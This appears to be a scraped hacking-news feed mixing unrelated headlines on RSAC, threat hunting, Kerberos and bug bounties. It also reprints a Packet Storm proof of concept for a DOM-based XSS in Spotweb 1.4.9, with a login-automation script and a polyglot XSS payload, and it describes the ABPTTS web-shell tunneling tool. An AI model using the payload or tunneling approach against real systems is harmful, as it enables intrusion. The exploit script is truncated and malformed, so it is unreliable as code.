Dark Reading: Attacks/Breaches
Security Providers Describe New Solutions (& Growing Threats) at RSAC

SPONSORED CONTENT: Watch now -- Leading security companies meet Dark Reading in the RSA Conference Broadcast Alley to talk about tackling insider threat, SOC complexity, cyber resilience, mobile security, attacker evasion, supply chain threats, ransomware, and more.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Lack of Skills, Maturity Hamper Threat Hunting at Many Organizations

When implemented correctly, threat hunting can help organizations stay head of threats, researcher says at RSA Conference.

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
This facial recognition website can turn anyone into a cop — or a stalker

https://external-preview.redd.it/0AKiEeKWJF9U76v9xJIZZ7EkyouucilalozQUvGUEPo.jpg?width=640&crop=smart&auto=webp&s=00ec14ba4bfa4e827a2032efc94de4cb7f230fba submitted by /u/standardworks
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Spotweb-Develop 1.4.9 Cross Site Scripting

https://1.bp.blogspot.com/-qwhQ-DvjXeo/WWlvAVNcU1I/AAAAAAAAIKM/AQaWmoLkqQQ6jMUPY28Kv2eNsZnw7PnKQCLcBGAs/s1600/h122.png
Spotweb-Develop version 1.4.9 suffers from a cross site scripting vulnerability.

MD5 | 54aca54a561f4966b3e93115c54b1141

Download
# Exploit Title: Cross Site Scripting (DOM Based) spotweb-develop 1.4.9
# Author: @nu11secur1ty
# Testing and Debugging: nu11secur1ty $ OWASP-ZAP
# Date: 05.20.2021
# Vendor: https://www.nzbserver.com/
# Link: https://github.com/spotweb/spotweb
# CVE: 2021-XXXX
# Proof: https://streamable.com/hix5o1

[+] Exploit Source:
#!/usr/bin/python3
# Author: @nu11secur1ty
# CVE-2021-XXXX

from selenium import webdriver
import time
import os, sys
# Vendor: https://www.nzbserver.com/
# Jump over login form :D
website_link="
http://192.168.1.160/spotweb-develop/?page=login&data[htmlheaderssent]=true"

# enter your login username
username="nu11secur1ty"

# enter your login password
password="password"

#enter the element for username input field
element_for_username="loginform[username]"

#enter the element for password input field
element_for_password="loginform[password]"

#enter the element for submit button
element_for_submit="loginform[submitlogin]"
#browser = webdriver.Safari() #for macOS users[for others use chrome vis
chromedriver]
browser = webdriver.Chrome() #uncomment this line,for chrome users
#browser = webdriver.Firefox() #uncomment this line,for chrome users

time.sleep(3)
browser.get((website_link))

try:
username_element = browser.find_element_by_name(element_for_username)
username_element.send_keys(username)
password_element = browser.find_element_by_name(element_for_password)
password_element.send_keys(password)
signInButton = browser.find_element_by_name(element_for_submit)
signInButton.click()

# Exploit Cross Site Scripting (DOM Based)
# Payload: #jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert()
)//%0D%0A%0d%0a//\x3csVg/
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
How does Kerberos really work?

https://cdn-images-1.medium.com/max/624/1*UkFzTkiUF28OYQSvPl114A.png
Introduction

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
“Ohh, how adorable!

https://cdn-images-1.medium.com/max/1200/0*ChnTRiqtGOq81lF6
Dear Hyruleans,

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

ABPTTS - TCP Tunneling Over HTTP/HTTPS For Web Application Servers
http://www.kitploit.com/2021/05/abptts-tcp-tunneling-over-httphttps-for.html

___________________________
@hacking_Attack
@Hacking_Video

A Black Path Toward The Sun
(TCP tunneling (https://www.kitploit.com/search/label/Tunneling) over HTTP for web application servers) https://www.blackhat.com/us-16/arsenal.html#a-black-path-toward-the-sun Ben Lincoln, NCC Group, 2016 ABPTTS uses a Python client script and a web application server page/package[1] to tunnel TCP traffic (https://www.kitploit.com/search/label/Traffic) over an HTTP/HTTPS connection to a web application server. In other words, anywhere that one could deploy a web shell, one should now be able to establish a full TCP tunnel. This permits making RDP, interactive SSH, Meterpreter, and other connections through the web application server.
The communication is designed to be fully compliant with HTTP standards, meaning that in addition to tunneling in through a target web application server, it can be used to establish an outbound connection through packet-inspecting firewalls. A number of novel features are used to make detection of its traffic challenging. In addition to its usefulness to authorized penetration testers, it is intended to provide IDS/WPS/WAF developers with a safe, live example of malicious traffic that evades simplistic regex-pattern-based signature models. An extensive manual is provided in PDF form, and walks the user through a variety of deployment scenarios. This tool is released under version 2 of the GPL. [1] Currently JSP/WAR and ASP.NET server-side components are included. Compare and contrast with: reGeorg (https://github.com/sensepost/reGeorg) HTTP tunnel for Node.js (https://www.kitploit.com/search/label/Node.js) (https://github.com/johncant/node-http-tunnel) Named as an oblique reference to Cordyceps/Ophiocordyceps, e.g.: http://www.insectimages.org/browse/detail.cfm?imgnum=0014287

Download ABPTTS (https://github.com/nccgroup/ABPTTS)

___________________________
@hacking_Attack
@Hacking_Video

How I turned 0000 into $600: Phone Verification Bypass
https://shrirangdiwakar.medium.com/how-i-turned-0000-into-600-phone-verification-bypass-b1c0f6eb568e?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Hello Hunters, This is a Tale of how I decoded the Verification flow of a well-known web application & bypassed the Phone Verification…Continue reading on Medium » (https://shrirangdiwakar.medium.com/how-i-turned-0000-into-600-phone-verification-bypass-b1c0f6eb568e?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

How to get started in Bug Bounty Hunting. A Step-By-Step guide
https://nikhildhiman0.medium.com/how-to-get-started-in-bug-bounty-hunting-a-step-by-step-guide-b5ce17e0da0e?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Starting from “What is Bug Bounty?”Continue reading on Medium » (https://nikhildhiman0.medium.com/how-to-get-started-in-bug-bounty-hunting-a-step-by-step-guide-b5ce17e0da0e?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video